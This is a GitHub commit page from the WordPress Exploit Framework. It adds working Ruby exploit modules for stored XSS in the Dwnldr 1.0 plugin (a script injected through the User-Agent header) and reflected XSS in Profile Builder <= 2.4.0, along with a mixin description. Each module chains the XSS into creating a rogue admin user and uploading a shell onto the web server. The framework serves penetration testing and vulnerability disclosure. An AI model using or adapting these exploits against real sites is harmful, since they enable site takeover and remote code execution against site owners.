Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 15929c5

Browse files
authored
Merge pull request #17 from rastating/development
New modules
2 parents bac3696 + 7a75dc4 commit 15929c5

File tree

3 files changed

+99
-0
lines changed

3 files changed

+99
-0
lines changed

lib/wpxf/wordpress/xss.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,12 @@ module Wpxf::WordPress::Xss
1111
def initialize
1212
super
1313
@success = false
14+
@info[:desc] = 'This module stores a script which will be executed when '\
15+
'an admin user visits the vulnerable page. Execution of the script '\
16+
'will create a new admin user which will be used to upload '\
17+
'and execute the selected payload in the context of the '\
18+
'web server.'
19+
1420
register_options([
1521
StringOption.new(
1622
name: 'xss_host',
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
class Wpxf::Exploit::DwnldrXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::Xss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Dwnldr 1.0 XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
11+
],
12+
references: [
13+
['URL', 'http://blog.rastating.com/dwnldr-1-0-stored-xss-disclosure']
14+
],
15+
date: 'Jul 18 2016'
16+
)
17+
18+
register_options([
19+
StringOption.new(
20+
name: 'attachment_link',
21+
desc: 'The address of a valid attachment download link',
22+
required: true
23+
)
24+
])
25+
end
26+
27+
def check
28+
check_plugin_version_from_changelog('dwnldr', 'readme.txt', '1.01')
29+
end
30+
31+
def run
32+
return false unless super
33+
34+
emit_info 'Storing script...'
35+
res = execute_get_request(
36+
url: datastore['attachment_link'],
37+
headers: { 'User-Agent' => "\"><script>#{xss_ascii_encoded_include_script}</script><\"" }
38+
)
39+
40+
if res.nil?
41+
emit_error 'No response from the target'
42+
return false
43+
end
44+
45+
if res.code != 200
46+
emit_error "Server responded with code #{res.code}"
47+
return false
48+
end
49+
50+
emit_success 'Script stored and will be executed when a user views the download logs for the specified attachment.'
51+
start_http_server
52+
53+
xss_shell_success
54+
end
55+
end
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
class Wpxf::Exploit::ProfileBuilderReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Profile Builder <= 2.4.0 Reflected XSS Shell Upload',
9+
author: [
10+
'Yorick Koster', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8547'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_profile_builder_wordpress_plugin.html']
16+
],
17+
date: 'Jul 13 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('profile-builder', '2.4.1')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'users.php')
27+
end
28+
29+
def initial_script
30+
%|<html><head></head><body><script>
31+
#{js_post}
32+
post('#{vulnerable_url}?page=unconfirmed_emails', {
33+
page: '"><script>#{xss_ascii_encoded_include_script}<\\/script>'
34+
});
35+
</script></body></html>
36+
|
37+
end
38+
end

0 commit comments

Comments
 (0)